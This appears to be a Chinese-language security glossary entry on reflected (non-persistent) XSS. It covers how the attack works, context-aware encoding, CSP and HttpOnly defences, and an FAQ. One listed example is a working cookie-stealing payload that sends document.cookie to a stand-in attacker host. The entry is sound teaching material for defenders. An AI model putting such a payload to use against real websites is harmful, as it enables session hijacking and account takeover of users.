反射型 XSS
反射型 XSS 是什么?
反射型 XSS一种非持久化 XSS,攻击者控制的请求参数被立即反射到响应中,并在受害者浏览器中执行。
反射型 XSS(非持久型,Type-1)发生在 Web 应用从 HTTP 请求(通常是 URL 查询参数或表单字段)取得数据后,未经输出编码就将其回显到响应中。攻击需要受害者点击精心构造的链接,因此通常通过钓鱼邮件、恶意广告或即时消息传播。利用成功后,攻击者可窃取会话 Cookie、以用户身份执行操作,甚至串联实施完全的账户接管。常见防御包括基于上下文的 HTML 编码、严格的内容安全策略,以及会自动转义模板输出的框架。
反射型 XSS 攻击剖析
flowchart LR A[攻击者构造带脚本参数的链接] --> B[通过钓鱼 / 广告 / 聊天分发] B --> C[受害者点击链接] C --> D[应用未编码即回显输入] D --> E[浏览器在受害者会话中执行脚本] E --> F[窃取 Cookie / 以用户身份操作 / 账户接管]
为什么载荷必须按其上下文进行编码
XSS 的关键微妙之处在于"编码"是上下文相关的:同一个值在一处安全,在另一处却危险。放入 HTML 文本中的数据需要 HTML 实体编码;放入属性中需要属性编码并加引号;放入 <script> 块或事件处理器中需要 JavaScript 字符串编码;放入 URL 中则需要 URL 编码。盲目地只做一次编码,会遗漏同一参数被反射到多个上下文的情形。默认自动转义的模板引擎(React 的 JSX、Angular,或带上下文转义的服务端模板)可以消除大多数反射型 XSS——前提是开发者避免使用 dangerouslySetInnerHTML 或 innerHTML 等"逃生口"。
浏览器端过滤器已不再是防御手段。Google 在 Chrome 78(2019 年 10 月)中彻底移除了 XSS Auditor,因为它易被绕过、误报频繁,甚至可被滥用来有选择地禁用合法脚本;它所遵循的 X-XSS-Protection 响应头如今实际上已失效。真正持久有效的控制是基于上下文的输出编码、严格的 内容安全策略(CSP)(最好基于 nonce 或 hash)、使用 HttpOnly Cookie 让被窃脚本无法读取会话,以及把输入校验作为纵深防御而非主要屏障。
● 示例
- 01
https://example.com/search?q=<script>document.location='https://evil/?c='+document.cookie</script>
- 02
错误页面将未过滤的 'message' 查询参数直接写入 DOM。
● 常见问题
反射型 XSS 是什么?
一种非持久化 XSS,攻击者控制的请求参数被立即反射到响应中,并在受害者浏览器中执行。 它属于网络安全的 攻击与威胁 分类。
反射型 XSS 是什么意思?
一种非持久化 XSS,攻击者控制的请求参数被立即反射到响应中,并在受害者浏览器中执行。
如何防御 反射型 XSS?
针对 反射型 XSS 的防御通常结合技术控制与运营实践,详见上方完整定义。
反射型 XSS 还有哪些其他名称?
常见的别称包括: 非持久型 XSS, Type-1 XSS。